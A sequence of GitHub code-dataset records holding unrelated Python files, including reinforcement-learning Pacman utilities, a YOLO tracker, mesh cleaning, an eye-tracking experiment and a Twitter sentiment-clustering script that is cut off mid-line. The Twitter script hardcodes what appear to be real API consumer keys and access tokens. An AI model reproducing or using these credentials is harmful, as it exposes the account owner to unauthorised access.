1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n grid = state.data.food\n matrix = np.zeros((height, width), dtype=np.int8)\n\n for i in range(grid.height):\n for j in range(grid.width):\n # Put cell vertically reversed in matrix\n cell = 1 if grid[j][i] else 0\n matrix[-1 - i][j] = cell\n\n return matrix\n\n def getCapsulesMatrix(state):\n \"\"\" Return matrix with capsule coordinates set to 1 \"\"\"\n width, height = state.data.layout.width, state.data.layout.height\n capsules = state.data.layout.capsules\n matrix = np.zeros((height, width), dtype=np.int8)\n\n for i in capsules:\n # Insert capsule cells vertically reversed into matrix\n matrix[-1 - i[1], i[0]] = 1\n\n return matrix\n\n # Create observation matrix as a combination of\n # wall, pacman, ghost, food and capsule matrices\n # width, height = state.data.layout.width, state.data.layout.height\n observation = np.zeros((6, height, width))\n\n observation[0] = getWallMatrix(state)\n observation[1] = getPacmanMatrix(state)\n observation[2] = getGhostMatrix(state)\n observation[3] = getScaredGhostMatrix(state)\n observation[4] = getFoodMatrix(state)\n observation[5] = getCapsulesMatrix(state)\n\n # observation = np.swapaxes(observation, 0, 2)\n\n return observation\n\n\ndef get_value(direction):\n if direction == Directions.NORTH:\n return 0.\n elif direction == Directions.EAST:\n return 1.\n elif direction == Directions.SOUTH:\n return 2.\n else:\n return 3.\n\n\ndef get_direction(value):\n if value == 0.:\n return Directions.NORTH\n elif value == 1.:\n return Directions.EAST\n elif value == 2.:\n return Directions.SOUTH\n else:\n return Directions.WEST\n","repo_name":"XkunW/DeepRL_Pacman","sub_path":"pacman_util.py","file_name":"pacman_util.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"22399428633","text":"\nfrom Gyrus import ThreadedGyrus\nimport time\nimport numpy as np\nfrom scipy.linalg import block_diag\nimport torch\nimport cv2 as cv\nimport uuid\nfrom gyrii.underpinnings.id_to_name import id_to_name\nfrom gyrii.underpinnings.GratbotLogger import gprint\nfrom gyrii.underpinnings.BayesianArray import BayesianArray\n#from gyrii.underpinnings.ConvolutionalVisualOdometer import ConvolutionalVisualOdometer\nfrom scipy.optimize import linear_sum_assignment\nfrom filterpy.common import kinematic_kf,kinematic_state_transition,Q_discrete_white_noise\n\nclass VisualTrackerGyrus(ThreadedGyrus):\n def __init__(self,broker,display,show_detections=True):\n self.show_detections=show_detections\n self.display=display\n self.clear_frames_before=0\n\n self.objects_to_track=[\"chair\",\"person\",\"sports ball\",\"stop sign\"]\n self.object_heights={ \"stop sign\": [0.081,0.005], \"sports ball\": [0.115,0.01], \"chair\": [1.0,0.5]}\n #self.camera_hfov_pixels=(53.5*(2*np.pi)/360)/640 #from spec sheet\n self.camera_focal_length_pixels=630 #V1 raspicam\n\n #Tagging info\n self.tagger_model= torch.hub.load('ultralytics/yolov5', 'yolov5s', pretrained=True)\n self.tagger_classes=self.tagger_model.module.names if hasattr(self.tagger_model,'module') else self.tagger_model.names\n self.tagged_objects=[] #where i keep the last tag results\n\n\n\n self.n_iter_report=-1\n self.on_iter=0\n\n self.tagging_time_sum=0\n self.vodometer_time_sum=0\n super().__init__(broker)\n\n def get_keys(self):\n return [ \"camera_frame\",\"drive/motors_active\",\"latest_pose\",\"position_sensor/gyro\" ]\n\n def get_name(self):\n return \"VisualTrackerGyrus\"\n\n def read_message(self,message):\n if \"camera_frame\" in message:\n if message[\"timestamp\"]0 and self.on_iter>self.n_iter_report:\n tagging_time=self.tagging_time_sum/self.on_iter\n gprint(\"Average Tagging Time {} ms\".format(tagging_time*1000))\n self.tagging_time_sum=0\n self.on_iter=0\n return True\n\n def tag_objects(self,frame):\n start_time=time.time()\n imgs=[frame]\n results = self.tagger_model(imgs)\n video_objects=[]\n for r in results.xyxy[0]:\n video_objects.append({\n \"confidence\": r[4].item(),\n \"label\": self.tagger_classes[int(r[5].item())],\n \"startx\": r[0].item(),\n \"starty\": r[1].item(),\n \"endx\": r[2].item(),\n \"endy\": r[3].item()\n })\n self.tagging_time_sum+=time.time()-start_time\n return video_objects\n\n\n def draw_bboxes(self,video_frame):\n #gprint(\"draw bboxes\")\n if video_frame is None:\n gprint(\"bboxes: Gave me a none video frame\")\n return\n\n ret_frame=video_frame.copy()\n if True: #mode is just tags\n for obj in self.tagged_objects:\n sx,ex,sy,ey=obj[\"startx\"],obj[\"endx\"],obj[\"starty\"],obj[\"endy\"]\n cv.rectangle(ret_frame,(int(sx),int(sy)),(int(ex),int(ey)),(0,255,0),2)\n text = \"{} {}\".format(\"Tagged \",obj[\"label\"])\n Y = int(sy - 10 if sy - 10 > 10 else sy + 10)\n cv.putText(ret_frame, text, (int(sx),Y), cv.FONT_HERSHEY_SIMPLEX, 0.7,(0,255,0), 2)\n self.display.update_image(\"visual_tracker\",ret_frame)\n","repo_name":"grybka/gratbot","sub_path":"gratbot_client/gyrii/VisualTracker3.py","file_name":"VisualTracker3.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"498317502","text":"X = 1\nCOUNTER = 0\nimportent_list = []\nDRAW_POS = 0\npic = \"\"\n\ndef cycle(length):\n global X, COUNTER\n for _ in range(length):\n COUNTER += 1\n draw()\n if COUNTER == 20 or COUNTER == 60 or COUNTER == 100 or COUNTER == 140 or COUNTER == 180 or COUNTER == 220:\n importent_list.append((COUNTER, X))\n\n\ndef draw():\n global X, DRAW_POS, COUNTER, pic\n if DRAW_POS % 40 == 0:\n pic += \"\\n\"\n DRAW_POS = 0\n if abs(X - DRAW_POS) <= 1:\n pic += \"#\"\n else:\n pic += \".\"\n DRAW_POS += 1\n\nwith open(\"input/day10.txt\", \"r\")as f:\n lines = f.read().strip().splitlines()\n for line in lines:\n if line == \"noop\":\n cycle(1)\n else:\n cycle(2)\n instruction, value = line.split(\" \")\n X += int(value)\n\nsumme = 0\nfor a, b in importent_list:\n summe += a * b\nprint(summe)\nprint(pic)","repo_name":"dietergandalf/advent_of_code","sub_path":"code/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12696394285","text":"import os.path\n\nimport numpy as np\nfrom tqdm import tqdm\nfrom meshio import load_mesh, save_mesh\nimport torch\nfrom pytorch3d.io import load_obj, save_obj\nfrom pytorch3d.structures import Meshes\nfrom pytorch3d.renderer import TexturesVertex, RasterizationSettings, PointLights, MeshRenderer, MeshRasterizer, SoftPhongShader, SoftSilhouetteShader\nfrom pytorch3d.renderer.cameras import PerspectiveCameras, FoVPerspectiveCameras\nfrom lib.load_data import load_data\nimport mmcv\nfrom pytorch3d.renderer.cameras import look_at_view_transform\nfrom matplotlib import pyplot as plt\nfrom torch import nn\nfrom pytorch3d.renderer.blending import hard_rgb_blend, BlendParams\nimport argparse\nimport mmcv\n\n\ndef config_parser():\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--config', required=True, help='config file path')\n return parser\n\n\ndef filter_verts(verts_keep, verts, colors, normals, faces):\n remapping = {}\n for i, idx in enumerate(verts_keep):\n remapping[idx] = i\n verts_new = []\n colors_new = []\n normals_new = []\n faces_new = []\n print(\"Filtering vertices...\")\n for idx in tqdm(verts_keep):\n verts_new.append(verts[idx])\n colors_new.append(colors[idx])\n normals_new.append(normals[idx])\n print(\"Filtering triangles...\")\n for i, j, k in tqdm(faces):\n if i in remapping and j in remapping and k in remapping:\n faces_new.append([remapping[i], remapping[j], remapping[k]])\n verts_new = np.array(verts_new, dtype=np.float32)\n colors_new = np.array(colors_new, dtype=np.float32)\n normals_new = np.array(normals_new, dtype=np.float32)\n faces_new = np.array(faces_new, dtype=np.int)\n return verts_new, colors_new, normals_new, faces_new\n\n\nif __name__ == '__main__':\n parser = config_parser()\n args = parser.parse_args()\n cfg = mmcv.Config.fromfile(args.config)\n meshdir = os.path.join(cfg.basedir, cfg.expname)\n\n print(\"Loading mesh...\")\n verts, colors, normals, faces, edges = load_mesh(os.path.join(meshdir, 'mesh.obj'))\n n = len(verts)\n parent = np.arange(n)\n size = np.ones(n)\n\n def find_root(i):\n if parent[i] == i:\n return i\n root = find_root(parent[i])\n parent[i] = root\n return root\n\n def union(i, j):\n i = find_root(i)\n j = find_root(j)\n if i == j:\n return\n if size[i] <= size[j]:\n parent[i] = j\n size[j] += size[i]\n size[i] = 0\n else:\n parent[j] = i\n size[i] += size[j]\n size[j] = 0\n\n print(\"Processing edges...\")\n for i, j in tqdm(edges):\n union(i, j)\n\n root = np.argmax(size)\n verts_keep = []\n for i in range(n):\n if find_root(i) == root:\n verts_keep.append(i)\n verts_new, colors_new, normals_new, faces_new = filter_verts(verts_keep, verts, colors, normals, faces)\n\n verts = verts_new\n colors = colors_new\n normals = normals_new\n faces = faces_new\n\n V = len(verts)\n verts_ = torch.tensor(verts)\n faces_ = torch.tensor(faces)\n verts_ = verts_[None, ...]\n faces_ = faces_[None, ...]\n mesh = Meshes(verts_, faces_)\n device = 'cuda'\n mesh = mesh.to(device)\n\n cfg = mmcv.Config.fromfile('./configs/custom/controller.py')\n data_dict = load_data(cfg.data)\n poses = data_dict['poses']\n N = len(poses)\n pad = np.array([0, 0, 0, 1], dtype=np.float32).reshape(1, 1, 4).repeat(120, 0)\n poses = np.concatenate([poses, pad], axis=1)\n poses = np.linalg.inv(poses)\n poses[:, 0] = -poses[:, 0]\n poses[:, 2] = -poses[:, 2]\n R = poses[:, :3, :3].transpose(0, 2, 1)\n T = poses[:, :3, 3]\n R = torch.tensor(R)\n T = torch.tensor(T)\n h, w, f = data_dict['hwf']\n fov = np.arctan(h / 2 / f) * 2 * 180 / np.pi\n cameras = FoVPerspectiveCameras(device=device, R=R, T=T, znear=0.01, zfar=10.0, fov=fov)\n\n raster_settings = RasterizationSettings(\n image_size=data_dict['hwf'][:2],\n blur_radius=0.0,\n faces_per_pixel=1,\n bin_size=-1\n )\n packed_faces = mesh.faces_packed()\n packed_verts = mesh.verts_packed()\n visibility_map = torch.zeros(V, dtype=bool, device=device)\n for i in tqdm(range(N)):\n rasterizer = MeshRasterizer(\n cameras=cameras[i],\n raster_settings=raster_settings\n )\n fragments = rasterizer(mesh)\n pix_to_face = fragments.pix_to_face[fragments.pix_to_face != -1]\n visible_faces = pix_to_face.unique()\n visible_verts_idx = packed_faces[visible_faces].unique() # (num_visible_faces, 3)\n visibility_map[visible_verts_idx] = True\n verts_keep = []\n for i in range(len(visibility_map)):\n if visibility_map[i].item():\n verts_keep.append(i)\n verts_new, colors_new, normals_new, faces_new = filter_verts(verts_keep, verts, colors, normals, faces)\n print(\"Saving mesh...\")\n save_mesh(os.path.join(meshdir, 'cleaned.obj'), verts_new, colors_new, normals_new, faces_new)\n\n","repo_name":"RoaringCat1217/DirectVoxGO","sub_path":"clean_mesh.py","file_name":"clean_mesh.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33700460261","text":"###################################################\n# Aaron Fienberg\n#\n# read a waveform and print it out\n\nfrom artyS7 import artyS7, read_dev_path\nimport sys\nimport numpy as np\n\n\ndef check_ramp(wfm):\n samples = wfm[\"adc_samples\"]\n\n diff = np.remainder((samples[1:] - samples[:-1]), (1 << 12))\n\n return np.all(diff == 1)\n\n\ndef main():\n arty = artyS7(dev_path=read_dev_path(\"./conf/uart_path.txt\"))\n\n wfm = arty.read_waveform()\n\n print(wfm)\n\n print(f'n samples: {len(wfm[\"adc_samples\"])}')\n\n # check ramp\n print(f\"ramping adc samples: {check_ramp(wfm)}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"atfienberg/artyS7","sub_path":"software/read_wfm.py","file_name":"read_wfm.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1083360225","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 4 10:25:35 2023\n\n@author: Gonzalo\n\"\"\"\n\nimport pandas as pd\nfrom time import time\n\nstart_time = time()\ndf = pd.read_csv('base-infoleg-normativa-nacional.csv')\nprint(\"Tiempo de importar csv: \" + str(time() - start_time))\n\ndef agregar_txt(id_norma):\n try:\n with open('./txt/' + str(id_norma) + '.txt', 'r', encoding='utf-8') as archivo:\n norma_completa = archivo.read()\n except:\n norma_completa = 'No disponible'\n # Imprimir el contenido del archivo\n #print(norma_completa)\n return norma_completa\n\nstart_time = time()\ndf['norma_completa'] = df['id_norma'].apply(lambda id: agregar_txt(id))\nprint(\"Tiempo de carga de txts a df: \" + str(time() - start_time))\n\n\nstart_time = time()\ndf.to_excel('df_normas.xlsx', index = False)\nprint(\"Tiempo de creación de excel: \" + str(time() - start_time))\n","repo_name":"mcgilbertus/ner","sub_path":"scrapper/union.py","file_name":"union.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35221437288","text":"# coding: utf-8\n# 2021/8/21 @ zengxiaonan\n\nfrom EduKTM import LPKT\n\n\ndef test_train(data, conf, tmp_path):\n n_at, n_it, n_question, n_exercise, q_matrix, batch_size = conf\n d_a = 16\n d_e = 32\n d_k = 32\n dropout = 0.2\n\n lpkt = LPKT(n_at, n_it, n_exercise, n_question, d_a, d_e, d_k, q_matrix, batch_size, dropout)\n lpkt.train(data, test_data=data, epoch=2)\n filepath = tmp_path / \"lpkt.params\"\n lpkt.save(filepath)\n lpkt.load(filepath)\n","repo_name":"bigdata-ustc/EduKTM","sub_path":"tests/lpkt/test_lpkt.py","file_name":"test_lpkt.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"20"} +{"seq_id":"20719577347","text":"\"\"\"This module performs analyses for Experiment 1: Guided Viewing with Detected Targets.\"\"\"\nimport numpy as np\nimport pickle\n\nimport hmm\nfrom load_and_preprocess_data import load_participant\nimport metrics\nimport util\n\n# Preprocessing parameters\nMAX_MISSING_PROPORTION = 0.25\n\n# HMM hyperparameters\nSIGMA = 1\nTAU = 0.99\n\nVIDEOS = range(1, 15)\nPARTICIPANTS = [\n 0,\n 1,\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 13,\n 14,\n 15,\n 16,\n]\n\nprint('Parameters:')\nprint('SIGMA: {}\\nTAU: {}\\nVIDEOS: {}\\nPARTICIPANTS: {}'\n .format(SIGMA, TAU, VIDEOS, PARTICIPANTS))\n\nDETECTION_DATA_DIR = '../data/detected_objects'\n\n# Load participant data\nparticipants = [load_participant(i) for i in PARTICIPANTS]\nprint('Loaded data from {} participants.'.format(len(PARTICIPANTS)))\n\n# Discard participants with too much missing data\nparticipants = [participant for participant in participants\n if participant.mean_proportion_missing < MAX_MISSING_PROPORTION]\n\nprint('Keeping {} participants: {}'\n .format(len(participants), [p.ID for p in participants]))\n\n# Load object detection data\ndetected_objects = []\nfor video_idx in VIDEOS:\n detection_data_fname = '{}/{}.pickle'.format(DETECTION_DATA_DIR,\n str(video_idx).zfill(2))\n print('Loading object detection data from {}...'.format(detection_data_fname))\n with open(detection_data_fname, 'rb') as in_file:\n all_frames = pickle.load(in_file)\n detected_video_objects = util.smooth_objects(all_frames)\n util.align_objects_to_screen(video_idx, detected_video_objects)\n detected_objects.append(detected_video_objects)\n\nparticipant_accuracies = []\nfor participant in participants:\n print('Running participant {}...'.format(participant.ID))\n participant_videos = [participant.videos[i-1] for i in VIDEOS]\n video_accuracies = []\n for (experiment_video, video_objects) \\\n in zip(participant_videos, detected_objects):\n\n mle = hmm.forwards_backwards(SIGMA, TAU, experiment_video, video_objects)\n ground_truth = [frame.target for frame in experiment_video.frames]\n video_accuracy = metrics.compute_accuracy(mle, ground_truth)\n print('Video {} accuracy: {}'.format(experiment_video.video_idx, video_accuracy))\n video_accuracies.append(video_accuracy)\n\n participant_accuracy_mean, participant_accuracy_ste = metrics.mean_and_ste(\n video_accuracies)\n print('Participant accuracy: {} +/- {}'.format(participant_accuracy_mean,\n participant_accuracy_ste))\n participant_accuracies.append(participant_accuracy_mean)\n\naccuracy_mean, accuracy_ste = metrics.mean_and_ste(participant_accuracies)\nprint('Overall accuracy: {} +/- {}'.format(accuracy_mean, accuracy_ste))\n","repo_name":"sss1/eyeDentify","sub_path":"code/experiment1.py","file_name":"experiment1.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24070561464","text":"from rest_framework import serializers\nfrom .models import Pokemon, Evolution, Stat\n\n\nclass StatSerializer(serializers.ModelSerializer):\n class Meta:\n model = Stat\n fields = ['name', 'base_stat', 'effort', ]\n\n\nclass EvolutionSerializer(serializers.ModelSerializer):\n class Meta:\n model = Evolution\n fields = ['id', 'name', 'type', ]\n\n\nclass PokemonSerializer(serializers.ModelSerializer):\n evolutions = EvolutionSerializer(many=True, read_only=True, source='pokemon_from')\n stats = StatSerializer(many=True, read_only=True, source='stat_set')\n\n class Meta:\n model = Pokemon\n fields = ['public_id', 'name', 'height', 'weight', 'evolutions', 'stats', ]\n","repo_name":"krsarmiento/mo-poke-api","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74834765490","text":"# coding:utf-8\nfrom user import User\nfrom privilege import Privileges\n\n\nclass Admin(User):\n def __init__(self, first_name, last_name, **describes):\n super().__init__(first_name, last_name, **describes)\n self.privileges = ['add', 'delete', 'modify', 'inquire']\n self.privilege = Privileges()\n\n def show_privileges(self):\n for privilege in self.privileges:\n print(\"You have \" + privilege + 'Authority' + '.')\n\n\nnew_user = Admin('liu', 'hanyu')\nnew_user.privilege.show_privileges()","repo_name":"liuhanyu200/pygame","sub_path":"9/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39460460513","text":"import re\nfrom pandas.core.frame import DataFrame \nimport tweepy \nimport nltk\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport spacy\nimport string\nimport collections\nimport matplotlib.pyplot as plt\nimport en_core_web_sm\nfrom wordcloud import WordCloud,STOPWORDS\nnltk.download('punkt') \nnltk.download('stopwords')\nnltk.download('wordnet')\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tokenize import RegexpTokenizer, WhitespaceTokenizer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.stem import PorterStemmer\nfrom tweepy import OAuthHandler \nfrom textblob import TextBlob\nfrom bs4 import BeautifulSoup\nfrom string import punctuation\nfrom collections import Counter\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.metrics import jaccard_score\n\n\nconsumer_key=\"tFRlwd8t2IS095j9vQNQFx437\"\nconsumer_secret=\"hNJUfirU89mgYXzkT2RC8aTUKKsKz7dIjGtf0bPvHQIgQzXL0O\"\naccess_token=\"1169143770828419073-A7ADtimB06GMlTUr5Xiu1Tw9YgKYmC\"\naccess_token_secret=\"nSRjT4Lly8n1ZvuK2gdR2OumL7kEAh326JS6owCW0DozI\"\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\n\nnlp = en_core_web_sm.load() \ntokenizer = RegexpTokenizer(r'\\w+')\nlemmatizer = WordNetLemmatizer()\nstop = set(stopwords.words('english'))\npunctuation = list(string.punctuation) #already taken care of with the cleaning function.\nstop.update(punctuation)\nw_tokenizer = WhitespaceTokenizer()\n\n\n\n\ndef furnished(text):\n final_text = []\n for i in w_tokenizer.tokenize(text):\n if i.lower() not in stop:\n word = lemmatizer.lemmatize(i)\n final_text.append(word.lower())\n return \" \" .join(final_text)\n\ndef jaccard_similarity(query, document):\n intersection = set(query).intersection(set(document))\n union = set(query).union(set(document))\n return len(intersection)/len(union)\n\neconomy_related_words='''agriculture infrastructure capitalism trading service sector technology economical supply \n industrialism efficiency frugality retrenchment downsizing credit debit value \n economize save economically\n economies sluggish rise rising spending conserve trend \n low-management decline industry impact poor \n profession surplus fall\n declining accelerating interest sectors balance stability productivity increase rates\n pushing expanding stabilize rate industrial borrowing struggling\n deficit predicted increasing data\n economizer analysts investment market-based economy debt free enterprise\n medium exchange metric savepoint scarcity capital bank company stockholder fund business \n asset treasury tourism incomes contraction employment jobs upturn deflation macroeconomics\n bankruptcies exporters hyperinflation dollar entrepreneurship upswing marketplace commerce devaluation \n quicksave deindustrialization stockmarket reflation downspin dollarization withholder bankroll venture capital\n mutual fund plan economy mortgage lender unemployment rate credit crunch central bank financial institution\n bank rate custom duties mass-production black-market developing-countries developing economic-growth gdp trade barter \n distribution downturn economist\n business profits loss stocks shares start-up entrepreneur chairman CEO '''\n\nsocial_related_words='''sociable, gregarious societal friendly society socialization political sociality \n interpersonal ethnic socially party welfare public community socialist societies development\n network humans socialism collective personal corporation social constructivism\n relations volition citizenship brute attitude rights socio \n socioeconomic ethics civic communal marital sociale socialized communities \n policy unions \n institutions values governmental organizations jamboree \n festivity fairness support care \n sides activism unsocial psychosocial \n socializing psychological distributional demographic participation reunion \n partygoer partyism festive power network gala housewarming celebration counterparty social-war\n particularist interactional ideational asocial \n instagram facebook whatsapp twitter internet email politics government president prime-minister minister law court \n lawyer sue case verdict bill crime police assault '''\n\nculture_related_words='''ethnicity heritage modernity spirituality marxismmaterial culture \n ethos nationality humanism romanticism civilisation traditionalism genetics\n kinship heredity marriage indigenous archeology acculturate \n ontogenesis viniculture modern clothes rooted \n cicero societies history roots influence geography historical folk origins \n phenomenon teleology ancient aspects perspective liberalism nowadays community style unique prevalent describes \n today origin modernity beliefs genre barbarian ethnic \n colonization cultural universal organization western-civilization structuralism culture \n heathen pagan transculturation culture peasant classicist nativism anarchy ungrown philosophic cult \n consciousness islamist bro-culture evolve cultic diaspora aftergrowth native cultural-relativism \n mongolian cosmopolitan epistemology lifestyles diversity chauvinism westernization materialism vernacular \n homogeneity otherness holism tusculanae disputationes primitivism superficiality hedonism discourse\n puritanism modernism intellectualism exclusiveness elitism colonialism \n pentecostalism paganism nationwide expansion rural auxesis kimono \n culturize alethophobia nettlebed japanification dongyi clannishness insularity hybridity\n westernisation foreignness worldview exclusionism enculturation ethnocentrism confucianist vulgarization\n shintoism westernism denominationalism deracination\n eurocentrism cosmologies emotiveness bohemianism territorialism\n philosophical-doctrine ethnic minority social-darwinism theory cultural evolution belief systemfolk music \n traditional art house karl-marx theorymedia \n film-theory art history museum studies cultural artifact \n sports cricket football basketball hockey chess ball goal foul green-card red-card yellow-card umpire refree\n theatre movie cinema music director drama play art hero heroine villian stadium recreation parks malls'''\n\nhealth_related_words='''disease obesity world health organization medicine nutrition well-being exercise welfare wellness health care public health \n nursing stress safety hygiene research social healthy condition aids epidemiology healthiness wellbeing\n care illness medical dieteducation infectious disease environmental healthcare physical fitness hospitals \n health care provider doctors healthy community design insurance sanitation human body patient mental health\n medicare agriculture health science fitnesshealth policy weight loss physical therapy psychology pharmacy\n metabolic organism human lifestyle status unhealthy upbeat vaccination sleep condom alcohol smoking water family\n eudaimonia eudaemonia air house prevention genetics public families poor needs treatment communicable disease \n study protection malaria development food priority management healthful mental provide department administration\n programs help assistance funding environment improving emergency need program affected schools private mental illness \n treat diseases preparedness perinatal fertility sickness veterinary sanitary pharmacists behavioral midwives\n gerontology infertility hospitalization midwifery cholesterol childcare pediatrician pediatrics medicaid asthma \n pensions sicknesses push-up physical education body-mass-index eat well gymnastic apparatus tune up good morning \n bathing low blood-pressure heart attack health club ride-bike you feel good eczema urticaria dermatitis sunburn overwork \n manufacturing medical sociology need exercise run covid vaccination death chicken-guinea thyroid typhoid blood swine-flu pharmacy medicine'''\n\neconomy=furnished(economy_related_words)\nsocial=furnished(social_related_words)\nculture=furnished(culture_related_words)\nhealth=furnished(health_related_words)\nstring1=economy\n#print(string1)\nwords=string1.split()\n#print(words)\neconomy=\" \".join(sorted(set(words),key=words.index))\n#print(economy)\n\nstring1=social\nwords=string1.split()\nsocial=\" \".join(sorted(set(words),key=words.index))\nsocial\n\nstring1=health\nwords=string1.split()\nhealth=\" \".join(sorted(set(words),key=words.index))\nhealth\n\nstring1=culture\nwords=string1.split()\nculture=\" \".join(sorted(set(words),key=words.index))\nculture\n\ndef cluster_classification(df):\n twitterfinalpostclassification=[]\n for i in range(df.shape[0]):\n s = jaccard_similarity(economy, df.iat[i,9])\n t = jaccard_similarity(social, df.iat[i,9])\n u = jaccard_similarity(culture, df.iat[i,9])\n v = jaccard_similarity(health, df.iat[i,9])\n f=max(s,t,u,v)\n if(f>0.5):\n if(f==s):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],'Economy',f))\n elif(f==t):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],'Social',f))\n elif(f==u):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],'Cultural',f))\n elif(f==v):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],'Health',f))\n else:\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],'None',f))\n \n #print(tweet+\":\")\n #print(s)\n return twitterfinalpostclassification\n\n\ndef sentiment_and_cluster(df):\n twitterfinalpostclassification=[]\n for i in range(df.shape[0]):\n s = jaccard_similarity(economy, df.iat[i,9])\n t = jaccard_similarity(social, df.iat[i,9])\n u = jaccard_similarity(culture, df.iat[i,9])\n v = jaccard_similarity(health, df.iat[i,9])\n f=max(s,t,u,v)\n if(f>0.5):\n if(f==s):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],df.iat[i,10],df.iat[i,11],'Economy',f))\n elif(f==t):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],df.iat[i,10],df.iat[i,11],'Social',f))\n elif(f==u):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],df.iat[i,10],df.iat[i,11],'Cultural',f))\n elif(f==v):\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],df.iat[i,10],df.iat[i,11],'Health',f))\n else:\n twitterfinalpostclassification.append((df.iat[i,0],df.iat[i,1],df.iat[i,2],df.iat[i,3],df.iat[i,4],df.iat[i,5],df.iat[i,6],df.iat[i,7],df.iat[i,8],df.iat[i,9],df.iat[i,10],df.iat[i,11],'None',f))\n \n #print(tweet+\":\")\n #print(s)\n return twitterfinalpostclassification\n\n\ndef sentimentanalysis(df1):\n \n polarity=0\n\n positive=0\n negative=0\n neutral=0\n for i in range(df1.shape[0]):\n\n analysis = TextBlob(df1.iat[i,9]) #main sentiment analysis\n tweet_polarity=analysis.polarity#main sentiment analysis\n\n if(tweet_polarity>0.00):\n #positive+=1\n tweetsfinalpostsentiment.append((df1.iat[i,0],df1.iat[i,1],df1.iat[i,2],df1.iat[i,3],df1.iat[i,4],df1.iat[i,5],df1.iat[i,6],df1.iat[i,7],df1.iat[i,8],df1.iat[i,9],tweet_polarity,'positive'))\n elif(tweet_polarity<0.00):\n #negative+=1\n tweetsfinalpostsentiment.append((df1.iat[i,0],df1.iat[i,1],df1.iat[i,2],df1.iat[i,3],df1.iat[i,4],df1.iat[i,5],df1.iat[i,6],df1.iat[i,7],df1.iat[i,8],df1.iat[i,9],tweet_polarity,'negative'))\n elif(tweet_polarity==0.00):\n #neutral+=1\n tweetsfinalpostsentiment.append((df1.iat[i,0],df1.iat[i,1],df1.iat[i,2],df1.iat[i,3],df1.iat[i,4],df1.iat[i,5],df1.iat[i,6],df1.iat[i,7],df1.iat[i,8],df1.iat[i,9],tweet_polarity,'neutral'))\n #polarity += analysis.polarity\n #print(final_text)\n #print(polarity)\n #print(f'Amount of positive tweets:{positive}')\n #print(f'Amount of negative tweets:{negative}')\n #print(f'Amount of neutral tweets:{neutral}')\n \n df=pd.DataFrame(tweetsfinalpostsentiment,columns=['topic','Level 0','Level 1(Readable tweet)','Level 2(Remvoving weird data)','Level 3(removing html tags)','Level 4(removing hashtags and 